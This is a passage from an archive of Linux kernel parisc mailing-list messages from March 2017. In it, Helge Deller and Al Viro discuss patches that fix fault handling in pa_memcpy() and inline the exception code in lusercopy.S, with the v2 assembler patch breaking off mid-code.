-		flddma(s_space, pds, r1, pmc_load_exc);
-		flddma(s_space, pds, r2, pmc_load_exc);
-		flddma(s_space, pds, r3, pmc_load_exc);
-		flddma(s_space, pds, r4, pmc_load_exc);
-		fstdma(d_space, r1, pdd, pmc_store_exc);
-		fstdma(d_space, r2, pdd, pmc_store_exc);
-		fstdma(d_space, r3, pdd, pmc_store_exc);
-		fstdma(d_space, r4, pdd, pmc_store_exc);
-
-#if 0
-		if (L1_CACHE_BYTES <= 32)
-			prefetch_src((char *)pds + L1_CACHE_BYTES);
-#endif
-		flddma(s_space, pds, r5, pmc_load_exc);
-		flddma(s_space, pds, r6, pmc_load_exc);
-		flddma(s_space, pds, r7, pmc_load_exc);
-		flddma(s_space, pds, r8, pmc_load_exc);
-		fstdma(d_space, r5, pdd, pmc_store_exc);
-		fstdma(d_space, r6, pdd, pmc_store_exc);
-		fstdma(d_space, r7, pdd, pmc_store_exc);
-		fstdma(d_space, r8, pdd, pmc_store_exc);
-		len -= 8*sizeof(double);
-	}
-#endif
-
-	pws = (unsigned int *)pds;
-	pwd = (unsigned int *)pdd;
-
-word_copy:
-	while (len >= 8*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
-		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-
-		ldwma(s_space, pws, r5, pmc_load_exc);
-		ldwma(s_space, pws, r6, pmc_load_exc);
-		ldwma(s_space, pws, r7, pmc_load_exc);
-		ldwma(s_space, pws, r8, pmc_load_exc);
-		stwma(d_space, r5, pwd, pmc_store_exc);
-		stwma(d_space, r6, pwd, pmc_store_exc);
-		stwma(d_space, r7, pwd, pmc_store_exc);
-		stwma(d_space, r8, pwd, pmc_store_exc);
-		len -= 8*sizeof(unsigned int);
-	}
-
-	while (len >= 4*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4;
-		ldwma(s_space, pws, r1, pmc_load_exc);
-		ldwma(s_space, pws, r2, pmc_load_exc);
-		ldwma(s_space, pws, r3, pmc_load_exc);
-		ldwma(s_space, pws, r4, pmc_load_exc);
-		stwma(d_space, r1, pwd, pmc_store_exc);
-		stwma(d_space, r2, pwd, pmc_store_exc);
-		stwma(d_space, r3, pwd, pmc_store_exc);
-		stwma(d_space, r4, pwd, pmc_store_exc);
-		len -= 4*sizeof(unsigned int);
-	}
-
-	pcs = (unsigned char *)pws;
-	pcd = (unsigned char *)pwd;
-
-byte_copy:
-	while (len) {
-		/* *pcd++ = *pcs++; */
-		ldbma(s_space, pcs, t3, pmc_load_exc);
-		stbma(d_space, t3, pcd, pmc_store_exc);
-		len--;
-	}
-
-	return PA_MEMCPY_OK;
-
-unaligned_copy:
-	/* possibly we are aligned on a word, but not on a double... */
-	if (likely((t1 & (sizeof(unsigned int)-1)) == 0)) {
-		t2 = src & (sizeof(unsigned int) - 1);
-
-		if (unlikely(t2 != 0)) {
-			t2 = sizeof(unsigned int) - t2;
-			while (t2) {
-				/* *pcd++ = *pcs++; */
-				ldbma(s_space, pcs, t3, pmc_load_exc);
-				stbma(d_space, t3, pcd, pmc_store_exc);
-				len--;
-				t2--;
-			}
-		}
-
-		pws = (unsigned int *)pcs;
-		pwd = (unsigned int *)pcd;
-		goto word_copy;
-	}
-
-	/* Align the destination.  */
-	if (unlikely((dst & (sizeof(unsigned int) - 1)) != 0)) {
-		t2 = sizeof(unsigned int) - (dst & (sizeof(unsigned int) - 1));
-		while (t2) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			len--;
-			t2--;
-		}
-		dst = (unsigned long)pcd;
-		src = (unsigned long)pcs;
-	}
-
-	ret = copy_dstaligned(dst, src, len / sizeof(unsigned int));
-	if (ret)
-		return ret;
-
-	pcs += (len & -sizeof(unsigned int));
-	pcd += (len & -sizeof(unsigned int));
-	len %= sizeof(unsigned int);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	goto byte_copy;
-
-handle_load_error:
-	__asm__ __volatile__ ("pmc_load_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("pmc_store_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
-static unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
-{
-	unsigned long ret, fault_addr, reference;
-	struct exception_data *d;
-
-	ret = pa_memcpy_internal(dstp, srcp, len);
-	if (likely(ret == PA_MEMCPY_OK))
-		return 0;
-
-	/* if a load or store fault occured we can get the faulty addr */
-	d = this_cpu_ptr(&exception_data);
-	fault_addr = d->fault_addr;
-
-	/* error in load or store? */
-	if (ret == PA_MEMCPY_LOAD_ERROR)
-		reference = (unsigned long) srcp;
-	else
-		reference = (unsigned long) dstp;
-
-	DPRINTF("pa_memcpy: fault type = %lu, len=%lu fault_addr=%lu ref=%lu\n",
-		ret, len, fault_addr, reference);

From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Inline trivial exception code
Date: Mon, 27 Mar 2017 18:22:37 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20170327162237.GA15335@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490631817 10907 195.159.176.226 (27 Mar 2017 16:23:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Mar 2017 16:23:37 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 27 18:23:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1csXQP-0001K9-IG
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Mar 2017 18:23:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752020AbdC0QXW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Mar 2017 12:23:22 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:59081 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751917AbdC0QXW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Mar 2017 12:23:22 -0400
Original-Received: from p100.box ([193.159.30.136]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M2nfO-1c3azO17JO-00sfpC; Mon, 27
 Mar 2017 18:22:40 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:xYQX3R1cc1VGRamnAQaAoU2OuCIAOgNtlOawrGuIe3/u8CnJp3Z
 2dBg8+bJQGltG6SZ/eVJTLIt6dUREn6rY6RRpoL2diL6+ptyPcEsPfVXX7eRRsGONomL7aF
 qXcIyjQjRhKgOKZo6mzT/R4mF43P8YbANHiUAbfEHjsKta7zr+hS5RAZ0WU8gKSQGR1CUhc
 6v5VgYYsS8fGaU/KniUfQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ciVDaGl1WGo=:xXXyTZBWnqnxU80ur/lpIY
 EiMWsnvJ554SeGz2RNRvoFGw+B7RMKY+E1N/IYqZ15J1Z6fWhYRrobc3Fp7710akMC7O7J30I
 1ppZ5+xR0g+WZxsiCgP4ZSBjbTRNHGYYsiO5HW+aTEpiD3xSnv/Ip5SiHg2YK8TXBfIZJumZ+
 BHw/1y6jGdvX/KYJmg65zZKL9EYYecznMvku/30dZ7KncQxStrCOjiSxOn22ERzp7FNGztORk
 m9yFWOTpbBCZibR3kLCxcUVIQ9rLtaeIggljEHcztB7VQFXWRiGkupJxtmHspKT6xgky7BIpQ
 v2Xt4FYWdqGUU8eqhRG6IpGQPPl7p7qHf/wHt/Rm5iD04iBjCh6gHD1WlkKY0T2nLhjiCsHqa
 EVP/jn5HBwq7j4gWPhw1qx+ga0dCMhwNTijBMSPUDK2tutX7MOXQo8eyCcGw/y7GSOGSdIeoQ
 QmnP/DZb67NdYxtbwI0yUmlXON1jC47SytK3sjMySmbRlVznKZB8E7fXCtEwsjhfyFnNmld3I
 q1QhPxt4ij2KI1LdtO0SjSfh4EGGZY5J4KY50UZZHlOXfvWgRc8cobNeADL4ismGlU4UGu0dc
 IRgesj9Fu7psWXq0lmFsePZZCq36Fc5sj+b6JjQR76bt0mbmoXhiYvJ+7Bp7Dm1mLPeyBkwaN
 sLGA4cMkFkSnDUShiXabL24hl9/GI6ymVbZ1asxRg5gVyHPSXfqI4DwdKN8C1nCW1Aa8AQRv5
 HbsFj7G7mfmZlSoW0vmxTClXy45DGscDMAV6PFqc/peB5x2ccr3nBNlt9lM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27361>

Fold trivial exception handling for lclear_user() and lstrnlen_user()
into the main functions.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 8bcff05..4718eca 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -55,12 +55,6 @@
 	mtsp        %r1,%sr1
 	.endm
 
-	.macro fixup_branch lbl
-	ldil	    L%\lbl, %r1
-	ldo	    R%\lbl(%r1), %r1
-	bv          %r0(%r1)
-	.endm
-
 	/*
 	 * unsigned long lclear_user(void *to, unsigned long n)
 	 *
@@ -81,16 +75,16 @@ $lclu_loop:
 $lclu_done:
 	bv          %r0(%r2)
 	copy        %r25,%r28
-	.exit
-ENDPROC_CFI(lclear_user)
 
-	.section .fixup,"ax"
-2:      fixup_branch $lclu_done
-	ldo        1(%r25),%r25
-	.previous
+2:	b           $lclu_done
+	ldo         1(%r25),%r25
 
 	ASM_EXCEPTIONTABLE_ENTRY(1b,2b)
 
+	.exit
+ENDPROC_CFI(lclear_user)
+
+
 	.procend
 
 	/*
@@ -121,16 +115,15 @@ $lslen_done:
 $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
-ENDPROC_CFI(lstrnlen_user)
 
-	.section .fixup,"ax"
-3:      fixup_branch $lslen_done
+3:      b	    $lslen_done
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
-	.previous
 
 	ASM_EXCEPTIONTABLE_ENTRY(1b,3b)
 	ASM_EXCEPTIONTABLE_ENTRY(2b,3b)
 
+ENDPROC_CFI(lstrnlen_user)
+
 	.procend
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix access fault handling in pa_memcpy()
Date: Mon, 27 Mar 2017 18:57:50 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20170327175750.GE29622@ZenIV.linux.org.uk>
References: <20170327154702.GA11377@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490637483 531 195.159.176.226 (27 Mar 2017 17:58:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Mar 2017 17:58:03 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 27 19:57:58 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1csYtt-0005AJ-KZ
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Mar 2017 19:57:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751364AbdC0R6A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Mar 2017 13:58:00 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:35174 "EHLO
        ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751327AbdC0R57 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Mar 2017 13:57:59 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.87 #1 (Red Hat Linux))
        id 1csYtq-0007CF-PL; Mon, 27 Mar 2017 17:57:50 +0000
Content-Disposition: inline
In-Reply-To: <20170327154702.GA11377@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27362
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27362>

On Mon, Mar 27, 2017 at 05:47:02PM +0200, Helge Deller wrote:
> pa_memcpy() is the major memcpy implementation in the parisc kernel which is
> used to do any kind of userspace/kernel memory copies.
> 
> Al Viro noticed various bugs in the implementation of pa_mempcy(), most notably
> that in case of faults it may report back to have copied more bytes than it
> actually did.
> 
> Fixing those bugs is quite hard in the C-implementation, because the compiler
> is messing around with the registers and we are not guaranteed that specific
> variables are always in the same processor registers. This makes proper fault
> handling complicated.
> 
> This patch implements pa_memcpy() in assembler. That way we have correct fault
> handling and adding a 64-bit copy routine was quite easy.

Hmm...  Is there any point trying to fall back from store fault to byte
copy?  Note that in copy_dstaligned() dst *is* aligned, so if the word
store fails, there's no realistic chance of having a byte store succeed.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix access fault handling in pa_memcpy()
Date: Mon, 27 Mar 2017 22:23:31 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <b1754e45-f5f8-ccd1-dd08-e22d52d43a1f@gmx.de>
References: <20170327154702.GA11377@p100.box>
 <20170327175750.GE29622@ZenIV.linux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1490646231 24595 195.159.176.226 (27 Mar 2017 20:23:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Mar 2017 20:23:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 27 22:23:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1csbAu-0005hY-RD
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Mar 2017 22:23:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751810AbdC0UXn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Mar 2017 16:23:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:60732 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751716AbdC0UXn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Mar 2017 16:23:43 -0400
Original-Received: from [192.168.20.60] ([193.159.30.136]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Metpl-1cU35D1U3l-00OZhv; Mon, 27
 Mar 2017 22:23:34 +0200
In-Reply-To: <20170327175750.GE29622@ZenIV.linux.org.uk>
X-Provags-ID: V03:K0:bKSohpbxFhPnKF5NCQJ7CWdVZ4bRkNKMH6/gNc5eus54K3GNcP+
 aIQ9vKb1HiOCc1FYL/ZvWzmbPbba6yN5GsB3MzWuv1k684yQIckcCPuonqeoDcd2cAg5/R6
 Diw1f98IS5mr2o3FToLl5ehuw7H1IVrawAg+Xd40bdw6fZpANGD58mdreD+Y7ie3bHV1u/O
 nUI9ZyJ4OfZng4SrL4m1g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:7DiPyifSUao=:HRMnb6v6sy7MpgGYViFBRs
 Y1sQJW1Hg1L5+yZ9Q73GJ/IxSyfF3vsHU5+q6a83Bx4Pwar7SJ25G3VAniJdjpbwzx7a7w2l3
 wrpFpGE7G9wHeRLhJnIaZp8yZXTcVC0FapRl+md0hk/u2EH/RhrGSvLqRDxK/cVinZ08eR1rs
 bAjVMeAYov+o9mCOxt9NJBp5f2znUtJy9inpwxIwSbntXgAGPJkSnvOVBInHTGHtTlaaSZuRg
 9cQRNvjqc9jU28xJsBQKQ874mV/V0T37lABChGPCwBc0GzyrvWAxTwh0JDOeLwCSA1OXtAeiK
 SRX2weGLEYYaTNt4u4L2J65DgPKI517ZfuwCk0NZJwQw9iNfYRTywvOYjp+35HL75Yg7H++FI
 rHoAs5YlL0s7gjR0toORB0wQk9M49FDl4WQUdY0YaJM2OU3Tpwjk2jNxxnMlZGSQ3N9F7KEQ6
 hXpJInWSGxrFRqJ2KpIP/rTKR2eHrHoLjX9VVaXYoOlAjp2x0hoeBYcFDMnVVGFfdSj6kijEM
 drvrc0nZZvLMBiqOS6gC2v5w2qMdFs/xq2A3hZG9fdNQ6GtHbVy81Iwvskeg9LlOaj9ZYIAYK
 mW09PBfHcFzTMC6TYDEooUJwIhpRKbE9fI4FH6UGn7idqlbWrYdiQESNROTb9k+ANLAcHUVZ8
 NESepmWDAAmA+uJGQQwwBRad4rxiqrArOmQpg/3jUD/FibiIngOlhR1jLf7uN86KT+Xmy2aq/
 Zy7hWzuumRRrF4am9yO4w5iNANOMX0VFgRGRfYmoa5If0idkh4ObKjhoXBBCYxspfwzNrE1N 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27363
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27363>

On 27.03.2017 19:57, Al Viro wrote:
> On Mon, Mar 27, 2017 at 05:47:02PM +0200, Helge Deller wrote:
>> pa_memcpy() is the major memcpy implementation in the parisc kernel which is
>> used to do any kind of userspace/kernel memory copies.
>>
>> Al Viro noticed various bugs in the implementation of pa_mempcy(), most notably
>> that in case of faults it may report back to have copied more bytes than it
>> actually did.
>>
>> Fixing those bugs is quite hard in the C-implementation, because the compiler
>> is messing around with the registers and we are not guaranteed that specific
>> variables are always in the same processor registers. This makes proper fault
>> handling complicated.
>>
>> This patch implements pa_memcpy() in assembler. That way we have correct fault
>> handling and adding a 64-bit copy routine was quite easy.
> 
> Hmm...  Is there any point trying to fall back from store fault to byte
> copy?  Note that in copy_dstaligned() dst *is* aligned, so if the word
> store fails, there's no realistic chance of having a byte store succeed.

Good point. I'll fix that.

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v2] parisc: Fix access fault handling in pa_memcpy()
Date: Tue, 28 Mar 2017 16:19:00 +0200
Lines: 859
Approved: news@gmane.org
Message-ID: <20170328141900.GA11846@p100.box>
References: <20170327154702.GA11377@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490711298 23065 195.159.176.226 (28 Mar 2017 14:28:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 28 Mar 2017 14:28:18 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Al Viro <viro@ZenIV.linux.org.uk>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 28 16:28:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1css6S-0006v3-4E
	for glpp-linux-parisc@m.gmane.org; Tue, 28 Mar 2017 16:28:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752159AbdC1O2P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 28 Mar 2017 10:28:15 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63571 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752012AbdC1O2N (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 28 Mar 2017 10:28:13 -0400
Original-Received: from p100.box ([193.159.28.213]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MgsVY-1cWmhT2MCW-00M2ul; Tue, 28
 Mar 2017 16:19:03 +0200
Content-Disposition: inline
In-Reply-To: <20170327154702.GA11377@p100.box>
X-Provags-ID: V03:K0:cjWnifK3ScVRnJOTe1oH3s3x7b1cFardBrtKKiah+GZKW+oVjYV
 S5+oqG+4WH8IvKj4ijYklI4f27e2Ysw+bi4iGQMbFZMAg5PAD3f9xVchsG/61IWoLesKIV6
 oqoEbqDz8hIn2f+Kz9jOzo/clOgnELUOlFdpLBR2EV3kauahRi7G8rnfvR83yevf8157i9C
 fTfkEop3tGqjQJyssCsTw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6YtvHyTtKKs=:+ydqL2EvUAHbH6lWNDQSKc
 ZELdLfAZu+IZBc7e1GfiQ+iE8bEBb2OU1WiRUhb1Y10A6wBnWUBX81q4cRy7el16h6o/cUiin
 eEfnmUuMzuCl1dhBFizIzOjWYZx+RREP7ti/t1y7OaLPXB0IZuDmQqbphVInIAJIcIWDNoIRX
 o5RimfpD6jEHRFAFqoRw4EBYPrZGzLmpz//uGhEZw3pgzhWyotnXSOAYflVskHwLCTgxcd9J6
 cDG8TXzA5Q5aLykJQOWk2EZ38PBC1Y+HICBpmD271FrnWIhrV5+UnI3JBfTuXqEJX3th4zxct
 oOUrIdoTMgWpjJQ0rzDopilMAlaWlNgNoywUA4q4nz4v1w7MeWVyM4TykIbpb4iQ2FubQGG6j
 aXsy1e6+BJr+M68SImgpaNZRFKB8GM4ijF8tKYAaV7Hg+p+0V9a6ooeYPVIz1dx4BH90Kei+M
 nO0P+9F3WYlW5w3RLsk7EoeXjCC0YDVsiqUkt8Ow+K4gFgRhGyZUKgiTKWyrp0o4BCUufxYVi
 4wcbaewoxywkrmjRGdU9cYXhZfOxGwL3YJdBxihJGTWTPxaoOjI0mPqk4oBBZhQyVhKJlGPNU
 WToGYhW3d0hph/F3oA8TRZTtO0fCItDX+NsVVa6v0dK2jpSz52M6NwqVfhW/ACTVChDD/Q8ih
 qsCglrIywMWtt7myemokU/9gO7N4ZO5FidKQqCOcdEC+zV5vD/QaAaLdUob7ofj1TKxW+8mQZ
 Od3qIasRgbQiXoZSftE1BZ7fgx0/y+vR5DmwUmNskgx8jAgB1T1M9bZs7Qw=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27364>

pa_memcpy() is the major memcpy implementation in the parisc kernel which is
used to do any kind of userspace/kernel memory copies.

Al Viro noticed various bugs in the implementation of pa_mempcy(), most notably
that in case of faults it may report back to have copied more bytes than it
actually did.

Fixing those bugs is quite hard in the C-implementation, because the compiler
is messing around with the registers and we are not guaranteed that specific
variables are always in the same processor registers. This makes proper fault
handling complicated.

This patch implements pa_memcpy() in assembler. That way we have correct fault
handling and adding a 64-bit copy routine was quite easy.

Runtime tested with 32- and 64bit kernels.

Reported-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: John David Anglin <dave.anglin@bell.net>

---

Changes to v1:
- do not fall back to byte store from store fault (noticed by Al)
- better wording in comments (suggestions by Dave)
- keep notices from old implementation from Randolph (suggested by Dave)
- use local jump labels to avoid them showing up in vmlinux
- lots of smaller cleanups

diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 56845de..61af3e5 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -5,6 +5,7 @@
  *    Copyright (C) 2000 Richard Hirst <rhirst with parisc-linux.org>
  *    Copyright (C) 2001 Matthieu Delahaye <delahaym at esiee.fr>
  *    Copyright (C) 2003 Randolph Chung <tausq with parisc-linux.org>
+ *    Copyright (C) 2017 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -132,4 +133,322 @@ ENDPROC_CFI(lstrnlen_user)
 
 	.procend
 
+
+
+/*
+ * unsigned long pa_memcpy(void *dstp, const void *srcp, unsigned long len)
+ *
+ * Inputs:
+ * - sr1 already contains space of source region
+ * - sr2 already contains space of destination region
+ *
+ * Returns:
+ * - number of bytes not transferred.  If some bytes were not copied, this
+ *   means either a read or write fault happened.
+ *
+ * This code is based on a C-implementation of a copy routine written by
+ * Randolph Chung, which in turn was derived from the glibc.
+ *
+ * Several strategies are tried to try to get the best performance for various
+ * conditions. In the optimal case, we copy by loops that copy 32- or 16-bytes
+ * at a time using general registers.  Unaligned copies are handled either by
+ * aligning the destination and then using shift-and-write method, or in a few
+ * cases by falling back to a byte-at-a-time copy.
+ *
+ * Testing with various alignments and buffer sizes shows that this code is
+ * often >10x faster than a simple byte-at-a-time copy, even for strangely
+ * aligned operands. It is interesting to note that the glibc version of memcpy
+ * (written in C) is actually quite fast already. This routine is able to beat
+ * it by 30-40% for aligned copies because of the loop unrolling, but in some
+ * cases the glibc version is still slightly faster. This lends more
+ * credibility that gcc can generate very good code as long as we are careful.
+ *
+ * Possible optimizations:
+ * - add cache prefetching
+ * - try not to use the post-increment address modifiers; they may create
+ *   additional interlocks. Assumption is that those were only efficient on old
+ *   machines (pre PA8000 processors)
+ */
+
+	dst = arg0
+	src = arg1
+	len = arg2
+	t1  = r19
+	t2  = r20
+	t3  = r21
+	t4  = r22
+	srcspc = sr1
+	dstspc = sr2
+
+	t0 = r1
+	a1 = t1
+	a2 = t2
+	a3 = t3
+	a0 = t4
+
+	save_src = ret0
+	save_dst = ret1
+	save_len = arg3
+
+ENTRY_CFI(pa_memcpy)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	/* short copy with less than 16 bytes? */
+	cmpib,>>=,n 15,len,.Lbyte_loop
+
+	/* same alignment? */
+	xor	src,dst,t0
+	extru	t0,31,2,t1
+	cmpib,<>,n  0,t1,.Lunaligned_copy
